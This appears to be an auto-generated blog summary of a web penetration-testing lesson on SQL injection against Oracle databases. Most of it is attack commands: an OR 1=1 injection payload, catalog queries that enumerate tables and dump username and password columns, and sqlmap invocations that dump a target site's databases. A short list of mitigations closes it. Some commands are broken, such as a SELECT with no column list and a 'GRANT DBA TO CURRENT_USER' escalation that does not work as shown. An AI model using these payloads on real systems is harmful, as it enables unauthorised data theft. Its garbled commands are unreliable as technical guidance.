Day Exploitation of Oracle Database | Web Penetration Testing Full Course

Link: Day 6 | Web Penetration Testing Full Course in 90 Days | SQL Injection | Rayofhope | Ethical Hacking

You Should Know:

1. SQL Injection in Oracle Databases

SQL Injection (SQLi) is a critical vulnerability that allows attackers to manipulate database queries. Oracle databases are often targeted due to their widespread use in enterprise environments.

2. Basic Oracle SQL Injection Commands

Here are some essential commands for testing SQL Injection in Oracle:

-- Check if the database is vulnerable 
' OR 1=1 --

-- Retrieve database version 
SELECT banner FROM v$version;

-- List all tables 
SELECT table_name FROM all_tables;

-- Extract column names from a specific table 
SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS';

-- Dump sensitive data 
SELECT username, password FROM USERS; 

3. Exploiting Oracle with SQLMap

SQLMap automates SQL Injection attacks. Use these commands:

 Basic SQL Injection test 
sqlmap -u "http://example.com/page?id=1" --dbms=oracle

Dump all databases 
sqlmap -u "http://example.com/page?id=1" --dbms=oracle --dbs

Extract table data 
sqlmap -u "http://example.com/page?id=1" --dbms=oracle -D DB_NAME -T TABLE_NAME --dump 

4. Oracle Privilege Escalation

If you gain initial access, escalate privileges:

-- Check current user privileges 
SELECT  FROM session_privs;

-- Attempt to gain DBA access 
GRANT DBA TO CURRENT_USER; 

5. Mitigation Techniques

To prevent Oracle SQL Injection:

• Use parameterized queries (bind variables).
• Implement OWASP guidelines for input validation.
• Apply least privilege principles for database users.

What Undercode Say:

Oracle databases are lucrative targets for attackers due to misconfigurations and weak input validation. Ethical hackers must master SQL Injection techniques to secure enterprise systems. Always test in controlled environments and follow legal guidelines.

Expected Output:

A structured penetration testing report detailing Oracle SQL Injection vulnerabilities, exploited data, and remediation steps.

(Note: Always perform security testing with proper authorization.)

References:

Reported By: Ray Of – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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